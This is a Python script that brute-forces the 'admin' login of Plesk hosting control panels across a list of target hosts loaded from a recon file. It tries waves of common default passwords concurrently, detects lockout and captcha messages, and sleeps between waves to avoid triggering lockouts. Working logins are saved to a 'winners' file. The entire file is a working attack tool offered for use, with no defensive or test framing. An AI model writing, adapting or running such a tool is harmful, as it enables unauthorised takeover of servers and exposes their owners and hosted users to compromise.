import asyncio, re, time
import aiohttp

SEM = asyncio.Semaphore(18)
WAVES = [["admin", "password", "Plesk1234!", "123456"],
         ["qwerty", "Passw0rd!", "plesk123", "welcome"]]
LOCK_PHRASES = ("too many failed", "brute force", "captcha")


def load():
    out = []
    for line in open("/root/recon/lists/zimbra.txt"):
        p = line.rstrip("\n").split("\t")
        if len(p) >= 3:
            out.append((p[0], int(p[1]), p[2]))
    return out


async def one_attempt(sess, base, user, pwd):
    async with sess.get(f"{base}/login_up.php", ssl=False) as r:
        html = await r.text()
    fields = dict(re.findall(r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', html))
    for k in ("login_name", "passwd"):
        fields.pop(k, None)
    fields.update({"login_name": user, "passwd": pwd})
    fields.setdefault("locale_id", "en-US")
    async with sess.post(f"{base}/login_up.php", data=fields, ssl=False, allow_redirects=False) as r2:
        body = await r2.text()
        loc = (r2.headers.get("Location") or "")
        sc = r2.headers.get_all("Set-Cookie", [])
    low = body.lower()
    ok = r2.status in (301, 302, 303) and "login" not in loc.lower()
    lock = any(x in low for x in LOCK_PHRASES)
    return ok, lock, r2.status, loc[:60], len(sc)


async def host_run(sess, h, pwlist, winners, stats, log):
    ip, port, sc = h
    base = f"{sc}://{ip}:{port}"
    for pwd in pwlist:
        try:
            ok, lock, st, loc, nc = await one_attempt(sess, base, "admin", pwd)
        except Exception as e:
            stats["err"] += 1
            log.write(f"{ip}\t{port}\tERR\t{type(e).__name__}\n")
            return
        stats["try"] += 1
        log.write(f"{ip}\t{port}\t{st}\t{loc}\t{pwd}\t{'OK' if ok else ''}\n")
        if ok:
            winners.append((ip, port, "admin", pwd, st, loc))
            print(f"!! LOGIN {ip}:{port} admin/{pwd} st={st} loc={loc}", flush=True)
            return
        if lock:
            stats["lock"] += 1
            print(f"~~ lock {ip} after admin/{pwd}", flush=True)
            return
        await asyncio.sleep(0.5)


async def main():
    hosts = load()
    print("hosts", len(hosts), flush=True)
    tout = aiohttp.ClientTimeout(total=25, connect=8, sock_read=15)
    winners = []
    log = open("/root/recon/plesk_tries.tsv", "a")
    async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as sess:
        for wi, pwlist in enumerate(WAVES):
            stats = {"try": 0, "lock": 0, "err": 0}
            t0 = time.time()

            async def guarded(h):
                async with SEM:
                    await host_run(sess, h, pwlist, winners, stats, log)

            await asyncio.gather(*[guarded(h) for h in hosts])
            log.flush()
            print(f"wave{wi+1} {time.time()-t0:.0f}s tries={stats['try']} locks={stats['lock']} err={stats['err']} wins={len(winners)}", flush=True)
            if wi < len(WAVES) - 1:
                print("sleep 420s", flush=True)
                await asyncio.sleep(420)
    log.close()
    open("/root/recon/plesk_winners.tsv", "w").write("\n".join("\t".join(map(str, w)) for w in winners))
    print("WINS:", winners, flush=True)

asyncio.run(main())
